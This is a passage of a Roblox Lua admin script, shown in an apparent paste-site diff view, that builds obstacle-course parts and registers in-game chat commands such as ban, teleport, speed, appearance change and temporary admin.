1209 | Q1.CFrame = fnew(-65.5, 255.6, -298) | |
1210 | Q1.Parent = G | |
1211 | Q1 = Q1:Clone() | |
1212 | Q1.Size = vnew(2, 22.8, 10) | |
1213 | Q1.CFrame = fnew(-63, 256.2, -298) | |
1214 | Q1.Parent = G | |
1215 | Q1 = Q1:Clone() | |
1216 | Q1.Size = vnew(5, 25.2, 10) | |
1217 | Q1.CFrame = fnew(-59.5, 257.4, -298) | |
1218 | Q1.Parent = G | |
1219 | --[[===[LASTSTEPS]===]]-- | |
1220 | Q1 = Q1:Clone() | |
1221 | Q1.Size = vnew(12, 26.4, 8) | |
1222 | Q1.CFrame = fnew(-51, 258, -299) | |
1223 | Q1.Parent = G | |
1224 | Q1 = Q1:Clone() | |
1225 | Q1.Size = vnew(10, 26.4, 2) | |
1226 | Q1.CFrame = fnew(-49, 258, -304) | |
1227 | Q1.Parent = G | |
1228 | Q1 = Q1:Clone() | |
1229 | Q1.Size = vnew(10, 27.6, 3) | |
1230 | Q1.CFrame = fnew(-49, 258.6, -306.5) | |
1231 | Q1.Parent = G | |
1232 | Q1 = Q1:Clone() | |
1233 | Q1.Size = vnew(10, 30, 3) | |
1234 | Q1.CFrame = fnew(-49, 259.8, -309.5) | |
1235 | Q1.Parent = G | |
1236 | Q1 = Q1:Clone() | |
1237 | Q1.Size = vnew(11, 31.2, 5) | |
1238 | Q1.CFrame = fnew(-48.5, 260.4, -313.5) | |
1239 | Q1.Parent = G | |
1240 | Q1 = Q1:Clone() | |
1241 | Q1.Size = vnew(11, 33.6, 2) | |
1242 | Q1.CFrame = fnew(-48.5, 261.6, -317) | |
1243 | Q1.Parent = G | |
1244 | Q1 = Q1:Clone() | |
1245 | Q1.Size = vnew(11, 34.8, 2) | |
1246 | Q1.CFrame = fnew(-48.5, 262.2, -319) | |
1247 | Q1.Parent = G | |
1248 | --[[===[END=OF=THE=MOUNTIAN]===]]-- | |
1249 | Q1 = Q1:Clone() | |
1250 | Q1.Size = vnew(11, 36, 7) | |
1251 | Q1.CFrame = fnew(-48.5, 262.8, -323.5) | |
1252 | Q1.Parent = G | |
1253 | Q1 = Q1:Clone() | |
1254 | Q1.Size = vnew(32, 37.2, 24) | |
1255 | Q1.CFrame = fnew(-70, 263.4, -315) | |
1256 | Q1.Parent = G | |
1257 | Q1 = Q1:Clone() | |
1258 | Q1.Size = vnew(8, 9.6, 16) | |
1259 | Q1.CFrame = fnew(-90, 277.2, -316) | |
1260 | Q1.Parent = G | |
1261 | Q1 = Q1:Clone() | |
1262 | Q1.Size = vnew(6, 9.6, 12) | |
1263 | Q1.CFrame = fnew(-97, 277.2, -315.5) | |
1264 | Q1.Parent = G | |
1265 | --[[===[TIGHT=ROPES]===]]-- | |
1266 | Q1 = Q1:Clone() | |
1267 | Q1.Size = vnew(31, 1.2, 2) | |
1268 | Q1.CFrame = fnew(-111.5, 282.6, -317) | |
1269 | Q1.Parent = G | |
1270 | Q1 = Q1:Clone() | |
1271 | Q1.Size = vnew(2, 1.2, 201) | |
1272 | Q1.CFrame = fnew(-126, 283.8, -220) | |
1273 | Q1.Parent = G | |
1274 | Q1 = Q1:Clone() | |
1275 | Q1.Size = vnew(34, 283.2, 32) | |
1276 | Q1.CFrame = fnew(-144, 142.8, -109) | |
1277 | Q1.Parent = G | |
1278 | Q1 = Q1:Clone() | |
1279 | Q1.Size = vnew(92, 1.2, 2) | |
1280 | Q1.CFrame = fnew(-85, 285.2, -98) | |
1281 | Q1.Parent = G | |
1282 | --[[==[WOBBLYS]==]]-- | |
1283 | Q13 = Q13:Clone() | |
1284 | Q13.Size = vnew(18, 1.2, 18) | |
1285 | Q13.CFrame = fnew(-9.87, 245.8, -185.9) | |
1286 | Q13.Parent = G | |
1287 | Q13 = Q13:Clone() | |
1288 | Q13.Size = vnew(18, 1.2, 18) | |
1289 | Q13.CFrame = fnew(10.12, 245.8, -185.9) | |
1290 | Q13.Parent = G | |
1291 | Q1 = Q1:Clone() | |
1292 | Q1.Size = vnew(32, 244.8, 32) | |
1293 | Q1.CFrame = fnew(57, 123.8, -186) | |
1294 | Q1.Parent = G | |
1295 | --[[===[FINISH]===]]-- | |
1296 | Q1 = Q1:Clone() | |
1297 | Q1.Size = vnew(4, 1.2, 16) | |
1298 | Q1.CFrame = fnew(-104, 247.2, -186) | |
1299 | Q1.Parent = G | |
1300 | Q1 = Q1:Clone() | |
1301 | Q1.Size = vnew(4, 1.2, 14) | |
1302 | Q1.CFrame = fnew(-106, 248.4, -186) | |
1303 | Q1.Parent = G | |
1304 | Q1 = Q1:Clone() | |
1305 | Q1.Size = vnew(4, 1.2, 12) | |
1306 | Q1.CFrame = fnew(-108, 249.6, -186) | |
1307 | Q1.Parent = G | |
1308 | Q1 = Q1:Clone() | |
1309 | Q1.Size = vnew(4, 1.2, 10) | |
1310 | Q1.CFrame = fnew(-110, 250.8, -186) | |
1311 | Q1.Parent = G | |
1312 | Q1 = Q1:Clone() | |
1313 | Q1.Size = vnew(4, 1.2, 8) | |
1314 | Q1.CFrame = fnew(-112, 252, -186) | |
1315 | Q1.Parent = G | |
1316 | Q1 = Q1:Clone() | |
1317 | Q1.Size = vnew(4, 1.2, 6) | |
1318 | Q1.CFrame = fnew(-114, 253.2, -186) | |
1319 | Q1.Parent = G | |
1320 | Q1 = Q1:Clone() | |
1321 | Q1.Size = vnew(4, 1.2, 4) | |
1322 | Q1.CFrame = fnew(-116, 254.4, -186) | |
1323 | Q1.Parent = G | |
1324 | Q1 = Q1:Clone() | |
1325 | Q1.Size = vnew(43, 1.2, 2) | |
1326 | Q1.CFrame = fnew(-137.5, 255.6, -186) | |
1327 | Q1.Parent = G | |
1328 | --[[==[HEALPLAT]==]]-- | |
1329 | Q1 = Q1:Clone() | |
1330 | Q1.Size = vnew(8, 253.2, 8) | |
1331 | Q1.CFrame = fnew(-161, 128, -186) | |
1332 | Q1.Parent = G | |
1333 | Q1 = Q1:Clone() | |
1334 | Q1.Size = vnew(10, 253.2, 15) | |
1335 | Q1.CFrame = fnew(-170, 128, -184.5) | |
1336 | Q1.Parent = G | |
1337 | Q1 = Q1:Clone() | |
1338 | Q1.Size = vnew(20, 253.2, 29) | |
1339 | Q1.CFrame = fnew(-185, 128, -182.5) | |
1340 | Q1.Parent = G | |
1341 | Q1 = Q1:Clone() | |
1342 | Q1.Size = vnew(4, 253.2, 18) | |
1343 | Q1.CFrame = fnew(-197, 128, -183) | |
1344 | Q1.Parent = G | |
1345 | Q1 = Q1:Clone() | |
1346 | Q1.Size = vnew(2, 1.2, 22) | |
1347 | Q1.CFrame = fnew(-186.5, 255.2, -204.5) | |
1348 | Q1.Parent = G | |
1349 | Q1 = Q1:Clone() | |
1350 | Q1.Size = vnew(32, 243.6, 32) | |
1351 | Q1.CFrame = fnew(-188, 123.2, -319) | |
1352 | Q1.Parent = G | |
1353 | --[[===[BIGPLATS]==]]-- | |
1354 | --[[while true do | |
1355 | Q1.Transparency = 0.4 | |
1356 | wait(1) | |
1357 | Q1.Transparency = 0.5 | |
1358 | wait(1) | |
1359 | Q1.Transparency = 0.6 | |
1360 | wait(1) | |
1361 | Q1.Transparency = 0.7 | |
1362 | wait(1) | |
1363 | Q1.Transparency = 0.8 | |
1364 | wait(1) | |
1365 | Q1.Transparency = 0.9 | |
1366 | wait(1) | |
1367 | Q1.Transparency = 1 | |
1368 | wait(1) | |
1369 | Q1.Transparency = 0.9 | |
1370 | wait(1) | |
1371 | Q1.Transparency = 0.8 | |
1372 | wait(1) | |
1373 | Q1.Transparency = 0.7 | |
1374 | wait(1) | |
1375 | Q1.Transparency = 0.6 | |
1376 | wait(1) | |
1377 | end]]-- | |
1378 | Q7 = Q7:Clone() | |
1379 | Q7.Size = vnew(16, 1.2, 16) | |
1380 | Q7.CFrame = fnew(-86, 244.8, -127) | |
1381 | Q7.BrickColor = bcn('Dark stone grey') | |
1382 | Q7.Parent = G | |
1383 | Q7 = Q7:Clone() | |
1384 | Q7.Size = vnew(16, 1.2, 16) | |
1385 | Q7.CFrame = fnew(-69, 244.8, -127) | |
1386 | Q7.Parent = G | |
1387 | Q7 = Q7:Clone() | |
1388 | Q7.Size = vnew(16, 1.2, 16) | |
1389 | Q7.CFrame = fnew(-52, 244.8, -127) | |
1390 | Q7.Parent = G | |
1391 | Q7 = Q7:Clone() | |
1392 | Q7.Size = vnew(16, 1.2, 16) | |
1393 | Q7.CFrame = fnew(-86, 244.8, -110) | |
1394 | Q7.Parent = G | |
1395 | Q7 = Q7:Clone() | |
1396 | Q7.Size = vnew(16, 1.2, 16) | |
1397 | Q7.CFrame = fnew(-69, 244.8, -110) | |
1398 | Q7.Parent = G | |
1399 | Q7 = Q7:Clone() | |
1400 | Q7.Size = vnew(16, 1.2, 16) | |
1401 | Q7.CFrame = fnew(-52, 244.8, -110) | |
1402 | Q7.Parent = G | |
1403 | Q7 = Q7:Clone() | |
1404 | Q7.Size = vnew(16, 1.2, 16) | |
1405 | Q7.CFrame = fnew(-86, 244.8, -93) | |
1406 | Q7.Parent = G | |
1407 | Q7 = Q7:Clone() | |
1408 | Q7.Size = vnew(16, 1.2, 16) | |
1409 | Q7.CFrame = fnew(-69, 244.8, -93) | |
1410 | Q7.Parent = G | |
1411 | Q7 = Q7:Clone() | |
1412 | Q7.Size = vnew(16, 1.2, 16) | |
1413 | Q7.CFrame = fnew(-52, 244.8, -93) | |
1414 | Q7.Parent = G | |
1415 | Q7 = Q7:Clone() | |
1416 | Q7.Size = vnew(16, 1.2, 16) | |
1417 | Q7.CFrame = fnew(-86, 244.8, -76) | |
1418 | Q7.BrickColor = bcn('Black') | |
1419 | Q7.Parent = G | |
1420 | Q7 = Q7:Clone() | |
1421 | Q7.Size = vnew(16, 1.2, 16) | |
1422 | Q7.CFrame = fnew(-69, 244.8, -76) | |
1423 | Q7.Parent = G | |
1424 | Q7 = Q7:Clone() | |
1425 | Q7.Size = vnew(16, 1.2, 16) | |
1426 | Q7.CFrame = fnew(-52, 244.8, -76) | |
1427 | Q7.Parent = G | |
1428 | Q7 = Q7:Clone() | |
1429 | Q7.Size = vnew(16, 1.2, 16) | |
1430 | Q7.CFrame = fnew(-86, 244.8, -59) | |
1431 | Q7.Parent = G | |
1432 | Q7 = Q7:Clone() | |
1433 | Q7.Size = vnew(16, 1.2, 16) | |
1434 | Q7.CFrame = fnew(-69, 244.8, -59) | |
1435 | Q7.Parent = G | |
1436 | Q7 = Q7:Clone() | |
1437 | Q7.Size = vnew(16, 1.2, 16) | |
1438 | Q7.CFrame = fnew(-52, 244.8, -59) | |
1439 | Q7.Parent = G | |
1440 | Q7 = Q7:Clone() | |
1441 | Q7.Size = vnew(16, 1.2, 16) | |
1442 | Q7.CFrame = fnew(-86, 244.8, -42) | |
1443 | Q7.Parent = G | |
1444 | Q7 = Q7:Clone() | |
1445 | Q7.Size = vnew(16, 1.2, 16) | |
1446 | Q7.CFrame = fnew(-69, 244.8, -42) | |
1447 | Q7.Parent = G | |
1448 | Q7 = Q7:Clone() | |
1449 | Q7.Size = vnew(16, 1.2, 16) | |
1450 | Q7.CFrame = fnew(-52, 244.8, -42) | |
1451 | Q7.Parent = G | |
1452 | Q7 = Q7:Clone() | |
1453 | Q7.Size = vnew(16, 1.2, 16) | |
1454 | Q7.CFrame = fnew(-86, 244.8, -25) | |
1455 | Q7.Parent = G | |
1456 | Q7 = Q7:Clone() | |
1457 | Q7.Size = vnew(16, 1.2, 16) | |
1458 | Q7.CFrame = fnew(-69, 244.8, -25) | |
1459 | Q7.Parent = G | |
1460 | Q7 = Q7:Clone() | |
1461 | Q7.Size = vnew(16, 1.2, 16) | |
1462 | Q7.CFrame = fnew(-52, 244.8, -25) | |
1463 | Q7.Parent = G | |
1464 | Q7 = Q7:Clone() | |
1465 | Q7.Size = vnew(16, 1.2, 16) | |
1466 | Q7.CFrame = fnew(-86, 244.8, -8) | |
1467 | Q7.Parent = G | |
1468 | Q7 = Q7:Clone() | |
1469 | Q7.Size = vnew(16, 1.2, 16) | |
1470 | Q7.CFrame = fnew(-69, 244.8, -8) | |
1471 | Q7.Parent = G | |
1472 | Q7 = Q7:Clone() | |
1473 | Q7.Size = vnew(16, 1.2, 16) | |
1474 | Q7.CFrame = fnew(-52, 244.8, -8) | |
1475 | Q7.Parent = G | |
1476 | --[[===[CLONERS]===]]-- | |
1477 | Q1 = Q1:Clone() | |
1478 | Q1.Size = vnew(16, 243.5, 22) | |
1479 | Q1.CFrame = fnew(-69, 123.2, 12) | |
1480 | Q1.Parent = G | |
1481 | Q1 = Q1:Clone() | |
1482 | Q1.Size = vnew(5, 1.2, 105) | |
1483 | Q1.CFrame = fnew(-68.5, 245.6, 74.5) | |
1484 | Q1.Parent = G | |
1485 | Q1 = Q1:Clone() | |
1486 | Q1.Size = vnew(33, 244.8, 32) | |
1487 | Q1.CFrame = fnew(-67.5, 122.6, 141) | |
1488 | Q1.Parent = G | |
1489 | --[[==[CONNECT]==]]-- | |
1490 | Q1 = Q1:Clone() | |
1491 | Q1.Size = vnew(4, 0.4, 3) | |
1492 | Q1.CFrame = fnew(-69, 283.6, -307.5) | |
1493 | Q1.Parent = G | |
1494 | Q1 = Q1:Clone() | |
1495 | Q1.Size = vnew(4, 1.2, 3) | |
1496 | Q1.CFrame = fnew(-69, 282.8, -307.5) | |
1497 | Q1.Parent = G | |
1498 | e11.LinkedSword:clone().Parent = game.StarterPack | |
1499 | end) | |
1500 | RunModule('CommandModule','/guimessage','Creates a gui message','/gms','#cs#(.+)',function(Speaker,Text) qwq(Text) end) | |
1501 | RunModule('CommandModule','/guihint','Creates a gui hint','/ghs','#cs#(.+)',function(Speaker,Text) qwe(Text) end) | |
1502 | RunModule('CommandModule','/ouput','Creates a output message','/wad','#cs#(.+)',function(Speaker,Text) notsq({{Text, Random},{Text, Random},{Text, Random},{Text, Random},{Text, Random}}) qwsqd({{Text, Random}}) end) | |
1503 | RunModule('CommandModule','/global','Creates a output message','/wad2','#cs#(.+)',function(Speaker,Text) notsq({{Text}}) qwsqd({{Text, Random}}) end) | |
1504 | RunModule('CommandModule','/count','Toggles the API Checks','/wad3','#cs#(%w+)',function(Speaker,Input) | |
1505 | if (Input=='true') or (Input=='yes') or (Input=='1') or (Input=='on') then | |
1506 | SN = {} | |
1507 | PN = {} | |
1508 | OD = {} | |
1509 | ON = {} | |
1510 | PLN = {} | |
1511 | CN = {} | |
1512 | for i,v in pairs(game.Workspace:GetChildren()) do | |
1513 | if v:isA('Part') then | |
1514 | table.insert(PN,v) | |
1515 | elseif v:isA('Script') then | |
1516 | table.insert(SN,v) | |
1517 | --[[elseif v:isA('Model') then | |
1518 | table.insert(ON,v) | |
1519 | else ]]-- | |
1520 | table.insert(OD,v) | |
1521 | end | |
1522 | end | |
1523 | for _,v in pairs(game.Players:GetChildren()) do | |
1524 | table.insert(PLN,v) | |
1525 | end | |
1526 | for i,v in pairs(game.NetworkServer:GetChildren()) do | |
1527 | table.insert(CN,v) | |
1528 | end | |
1529 | qwsqd({{'[API]; Your viewing the game status', Random}}) | |
1530 | notsq({{'[API]; There are '..#SN..' scripts.', Random},{'[API]; There are '..#PN..' parts.', Random},{'[API]; There are '..#OD..' unknown objects.', Random},{'[API]; There are '..#PLN..' players.', Random},{'[API]; There are '..#CN..' clients.', Random}}) | |
1531 | elseif (Input=='false') or (Input=='no') or (Input=='0') or (Input=='off') then | |
1532 | notsq({{'[API]; No Created functions', Random},{'[API]; No Global functions found', Random}}) | |
1533 | qwsqd({{'[API]; Global;=0 , NilP;=0 , XYZAx;=315', Random}}) | |
1534 | end | |
1535 | end) | |
1536 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#t'),'Bans the given user','/bn','#cs#(.+)',function(Speaker,...) | |
1537 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1538 | if (Targets~=nil) then | |
1539 | for Index,Target in pairs(Targets) do | |
1540 | if (RunModule('DisposePlayer',Target,Speaker)) then | |
1541 | Bannedlist[#Bannedlist+1]=Target.Name; | |
1542 | end | |
1543 | end | |
1544 | end | |
1545 | end) | |
1546 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#f'),'Unbans the given name','/ub','#cs#(.+)',function(Speaker,Input) | |
1547 | if (Input=='all') then | |
1548 | Bannedlist={}; | |
1549 | end | |
1550 | for Index,Username in pairs(Bannedlist) do | |
1551 | if (Username:lower():find(Input)==1) then | |
1552 | RunModule('ShowHint',Speaker,'Unbanning: '..Username,5); | |
1553 | table.remove(Bannedlist,Index); | |
1554 | end | |
1555 | end | |
1556 | end) | |
1557 | RunModule('CommandModule','/nillize','Makes the user nil','/nil','#cs#(.+)',function(Speaker,...) | |
1558 | local Targets=RunModule('GetPlayer',...,Speaker) | |
1559 | if (Targets~=nil) then | |
1560 | for Index,Target in pairs(Targets) do | |
1561 | mwq('[API]; Your being nild!' ,Target.PlayerGui) | |
1562 | Target.Character = nil | |
1563 | end | |
1564 | end | |
1565 | end) | |
1566 | RunModule('CommandModule','/unbannable','Makes the user unbannable','/uba','#cs#(.+)',function(Speaker,...) | |
1567 | local Targets=RunModule('GetPlayer',...,Speaker) | |
1568 | if (Targets~=nil) then | |
1569 | for Index,Target in pairs(Targets) do | |
1570 | mwq('[API]; Your being unbannable!' ,Target.PlayerGui) | |
1571 | Target.Character = Workspace | |
1572 | end | |
1573 | end | |
1574 | end) | |
1575 | RunModule('CommandModule','/stickman','Makes the given users body look like a stick man','/sman','#cs#(.+)',function(Speaker,...) | |
1576 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1577 | if (Targets~=nil) then | |
1578 | for Index,Target in pairs(Targets) do | |
1579 | mwq('[API]; Your being re-morphd!' ,Target.PlayerGui) | |
1580 | if (Target.Character~=nil) then | |
1581 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
1582 | if (Child.Name=='Left Leg') then | |
1583 | local de = Instance.new('CylinderMesh') | |
1584 | de.Parent = Child | |
1585 | elseif (Child.Name=='Right Leg') then | |
1586 | local pde = Instance.new('CylinderMesh') | |
1587 | pde.Parent = Child | |
1588 | elseif (Child.Name=='Torso') then | |
1589 | local hp2de = Instance.new('BlockMesh') | |
1590 | hp2de.Parent = Child | |
1591 | elseif (Child.className=='Decal') then | |
1592 | Child:Remove() | |
1593 | elseif (Child.className=='Hat') then | |
1594 | Child:Remove() | |
1595 | elseif (Child.className=='Mesh') then | |
1596 | Child.Texture:Remove() | |
1597 | elseif (Child.Name=='Right Arm') then | |
1598 | local hpde = Instance.new('CylinderMesh') | |
1599 | hpde.Parent = Child | |
1600 | elseif (Child.Name=='Left Arm') then | |
1601 | local htpde = Instance.new('CylinderMesh') | |
1602 | htpde.Parent = Child | |
1603 | elseif (Child.className=='Pants') then | |
1604 | Child:Remove() | |
1605 | elseif (Child.className=='Shirt') then | |
1606 | Child:Remove() | |
1607 | elseif (Child.className=='Part') then | |
1608 | Child.BrickColor = BrickColor.new('Really black') | |
1609 | end | |
1610 | end | |
1611 | end | |
1612 | end | |
1613 | end | |
1614 | end) | |
1615 | RunModule('CommandModule','/gunpacket','Gives the given user the pack of insertd guns.','/gpack','#cs#(.+)',function(Speaker,...) | |
1616 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1617 | if (Targets~=nil) then | |
1618 | for Index,Target in pairs(Targets) do | |
1619 | mwq('[API]; Putting guns in your Backpack!' ,Target.PlayerGui) | |
1620 | hgf(Target, 'Green') | |
1621 | qw1.M1Garand:clone().Parent = Target.Backpack | |
1622 | wait(0.1) e1.Luger:clone().Parent = Target.Backpack | |
1623 | wait(0.1) e2.Sten:clone().Parent = Target.Backpack | |
1624 | end | |
1625 | end | |
1626 | end) | |
1627 | RunModule('CommandModule','/getaccinfo','Gives the speaker the given users account information','/aci','#cs#(.+)',function(Speaker,...) | |
1628 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1629 | if (Targets~=nil) then | |
1630 | for Index,Target in pairs(Targets) do | |
1631 | mwi('[API]; The users Account age is ' ..Target.AccountAge , 'Green') | |
1632 | wait(1) | |
1633 | mwi('[API]; The users Name is ' ..Target.Name, 'Blue') | |
1634 | wait(1) | |
1635 | mwi('[API]; The users MembershipType is '..tostring(Target.MembershipType), 'Blue') | |
1636 | end | |
1637 | end | |
1638 | end) | |
1639 | RunModule('CommandModule','/wireconnect','Connects the given user to the speaker, with FloorWire.','/wcont','#cs#(.+)',function(Speaker,...) | |
1640 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1641 | if (Targets~=nil) then | |
1642 | for Index,Target in pairs(Targets) do | |
1643 | mwq('[API]; You were connected to a player!' ,Target.PlayerGui) | |
1644 | d=new('FloorWire', Workspace) | |
1645 | d.From=wq2e.Character.Torso | |
1646 | d.To=Target.Character.Torso | |
1647 | d.Color=BrickColor.new('Lime green') | |
1648 | d.Transparency=0 | |
1649 | d.WireRadius=0.1 | |
1650 | end | |
1651 | end | |
1652 | end) | |
1653 | RunModule('CommandModule','/resetappearance','Resets the CharacterAppearance of the given user','/ra','#cs#(.+)',function(Speaker,...) | |
1654 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1655 | if (Targets~=nil) then | |
1656 | for Index,Target in pairs(Targets) do | |
1657 | mwq('[API]; Reseting your char!' ,Target.PlayerGui) | |
1658 | pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Target.userId..'&PlaceId='..game.PlaceId; end) | |
1659 | pcall(function() Target.Character:BreakJoints(); end) | |
1660 | end | |
1661 | end | |
1662 | end) | |
1663 | RunModule('CommandModule','/changeappearance','Sets the CharacterAppearance of the given user','/ca','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer) | |
1664 | if (tonumber(Integer)==nil) or (Input==nil) then return end | |
1665 | local Targets=RunModule('GetPlayer',Input,Speaker) | |
1666 | if (Targets~=nil) then | |
1667 | for Index,Target in pairs(Targets) do | |
1668 | mwq('[API]; Changing your char!' ,Target.PlayerGui) | |
1669 | pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Integer..'&PlaceId='..game.PlaceId; end) | |
1670 | pcall(function() Target.Character:BreakJoints(); end) | |
1671 | end | |
1672 | end | |
1673 | end) | |
1674 | RunModule('CommandModule','/knockout','KOs the user 1,000 times','/ko','#cs#(.+)',function(Speaker,...) | |
1675 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1676 | if (Targets~=nil) then | |
1677 | for Index,Target in pairs(Targets) do | |
1678 | notsq({{'[API]; KOd the Target given'}}) | |
1679 | JD = 1000 | |
1680 | mwq('[API]; Your about to be KOd 1000 times!' ,Target.PlayerGui) | |
1681 | function ko() | |
1682 | for i=1, JD do | |
1683 | c = Instance.new('ObjectValue') | |
1684 | c.Parent = Target.Character.Humanoid | |
1685 | - | c.Value = game.Players.PiterMosskva_TV |
1685 | + | c.Value = game.Players.zXzGamePROzXz |
1686 | c.Name = 'creator' | |
1687 | wait(0.1) | |
1688 | Target.Character.Humanoid.Health = 0 | |
1689 | wait(0.01) | |
1690 | Target.Character.Parent = game.Lighting | |
1691 | wait(0.01) | |
1692 | c:remove() | |
1693 | wait(0.01) | |
1694 | Target.Character.Parent = game.Workspace | |
1695 | end | |
1696 | end | |
1697 | ko() | |
1698 | end | |
1699 | end | |
1700 | end) | |
1701 | RunModule('CommandModule','/fire','Makes the given user look sparkley','/fi','#cs#(.+)',function(Speaker,...) | |
1702 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1703 | if (Targets~=nil) then | |
1704 | for Index,Target in pairs(Targets) do | |
1705 | mwq('[API]; You were fird!' ,Target.PlayerGui) | |
1706 | if (Target.Character~=nil) then | |
1707 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
1708 | if (Child.className=='Part') then | |
1709 | local Sparkles=NewInstance('Sparkles') | |
1710 | Sparkles.SparkleColor=NewColor3(22,101,1); | |
1711 | Sparkles.Parent=Child; | |
1712 | end | |
1713 | end | |
1714 | end | |
1715 | end | |
1716 | end | |
1717 | end) | |
1718 | RunModule('CommandModule','/rspawn','Removes the sparkles from the given user','/qrs','#cs#(.+)',function(Speaker,...) | |
1719 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1720 | if (Targets~=nil) then | |
1721 | for Index,Target in pairs(Targets) do | |
1722 | Target:LoadCharacter() | |
1723 | mwq('[API]; You were quick respawnd!' ,Target.PlayerGui) | |
1724 | end | |
1725 | end | |
1726 | end) | |
1727 | RunModule('CommandModule','/scrollingmessage','Creates a scrolling message','/gmt','#cs#(.+)',function(Speaker,String) | |
1728 | local Message=NewInstance('Message'); | |
1729 | Message.Parent=Workspace; | |
1730 | local Effect=NewInstance('Sound'); | |
1731 | Effect.SoundId='rbxasset://sounds\\switch.wav'; | |
1732 | Effect.Parent=Workspace; | |
1733 | for Index=1,#String do | |
1734 | Effect:Play(); | |
1735 | Message.Text=Message.Text..String:sub(Index,Index); | |
1736 | wait(0.09); | |
1737 | end | |
1738 | wait(0.5); | |
1739 | Message.Parent=nil; | |
1740 | Effect.Parent=nil; | |
1741 | end,true) | |
1742 | RunModule('CommandModule','/scrollinghint','Creates a scrolling message','/dm','#cs#(.+)',function(Speaker,String) | |
1743 | local Message=NewInstance('Hint'); | |
1744 | Message.Parent=Workspace; | |
1745 | local Effect=NewInstance('Sound'); | |
1746 | Effect.SoundId='rbxasset://sounds\\switch.wav'; | |
1747 | Effect.Parent=Workspace; | |
1748 | for Index=1,#String do | |
1749 | Effect:Play(); | |
1750 | Message.Text=Message.Text..String:sub(Index,Index); | |
1751 | wait(0.09); | |
1752 | end | |
1753 | wait(0.5); | |
1754 | Message.Parent=nil; | |
1755 | Effect.Parent=nil; | |
1756 | end,true) | |
1757 | RunModule('CommandModule','/speed','Changes the WalkSpeed of the given user','/ws','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer) | |
1758 | local Targets=RunModule('GetPlayer',Input,Speaker); | |
1759 | if (Targets~=nil) and (Integer~=nil) then | |
1760 | for Index,Target in pairs(Targets) do | |
1761 | mwq('[API]; You were speeded up!' ,Target.PlayerGui) | |
1762 | hgf(Target, 'Dark blue') | |
1763 | if (Target.Character~=nil) then | |
1764 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
1765 | if (Child.className=='Humanoid') then | |
1766 | Child.WalkSpeed=Integer; | |
1767 | end | |
1768 | end | |
1769 | end | |
1770 | end | |
1771 | end | |
1772 | end) | |
1773 | RunModule('CommandModule','/nb','Gets a base','/b','#cs#',function(Speaker) | |
1774 | if (not RunModule('IsAdmin',Speaker)) then return end | |
1775 | a = Instance.new('Part', workspace) | |
1776 | a.Name = 'New Base' | |
1777 | a.Size = Vector3.new(500, 1.2, 500) | |
1778 | a.Anchored = true | |
1779 | a.BrickColor = BrickColor.new(28) | |
1780 | a.Locked = true | |
1781 | a.TopSurface = 'Studs'; | |
1782 | mwq('[API]; You created a base' ,low) | |
1783 | end) | |
1784 | RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#t'),'Makes the given user a temporary admin','/ad','#cs#(.+)',function(Speaker,...) | |
1785 | if (not RunModule('IsAdmin',Speaker)) then return end | |
1786 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1787 | if (Targets~=nil) then | |
1788 | for Index,Target in pairs(Targets) do | |
1789 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end); | |
1790 | AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end) | |
1791 | AdminUserList[#AdminUserList+1]=Target.Name; | |
1792 | end | |
1793 | end | |
1794 | end) | |
1795 | RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#f'),'Removes the given users temporary admin','/ua','#cs#(.+)',function(Speaker,...) | |
1796 | if (not RunModule('IsAdmin',Speaker)) then return end | |
1797 | local Targets=RunModule('GetPlayer',...,Speaker); | |
1798 | if (Targets~=nil) then | |
1799 | for Index,Target in pairs(Targets) do | |
1800 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end) | |
1801 | end | |
1802 | end | |
1803 | end) | |
1804 | RunModule('CommandModule','/teleport','Teleports two or more users together','/ft','#cs#(.-)#cs#(.+)',function(Speaker,Input1,Input2) | |
1805 | if (Input1==nil) or (Input2==nil) then return end | |
1806 | local Targets1,Targets2=RunModule('GetPlayer',Input1,Speaker),RunModule('GetPlayer',Input2,Speaker); | |
1807 | if (Targets1==nil) or (Targets2==nil) then return end | |
1808 | if (#Targets2~=1) then return end | |
1809 | for Index,Target in pairs(Targets1) do | |
1810 | if (Target.Character~=nil) and (Targets2[1].Character~=nil) then | |
1811 | local Torso=Target.Character:FindFirstChild('Torso'); | |
1812 | local Torso2=Targets2[1].Character:FindFirstChild('Torso'); | |
1813 | if (Torso~=nil) and (Torso2~=nil) then | |
1814 | Torso.CFrame=Torso2.CFrame; | |
1815 | notsq({{'[API]; Warpd the given Targets' , Random}}) | |
1816 | end | |
1817 | end | |
1818 | end | |
1819 | end) | |
1820 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#d'),'Bans the given user using data persistence for the given amount of hours.','/dpb','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Length) | |
1821 | if (Input==nil) or (Length==nil) then return end | |
1822 | local Targets=RunModule('GetPlayer',Input,Speaker); | |
1823 | if (Targets~=nil) then | |
1824 | for Index,Target in pairs(Targets) do | |
1825 | if (RunModule('DisposePlayer',Target,Speaker,true)==true) then | |
1826 | pcall(Target.SaveString,Target,DataKey,RunModule('ConvertTable',{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))})); | |
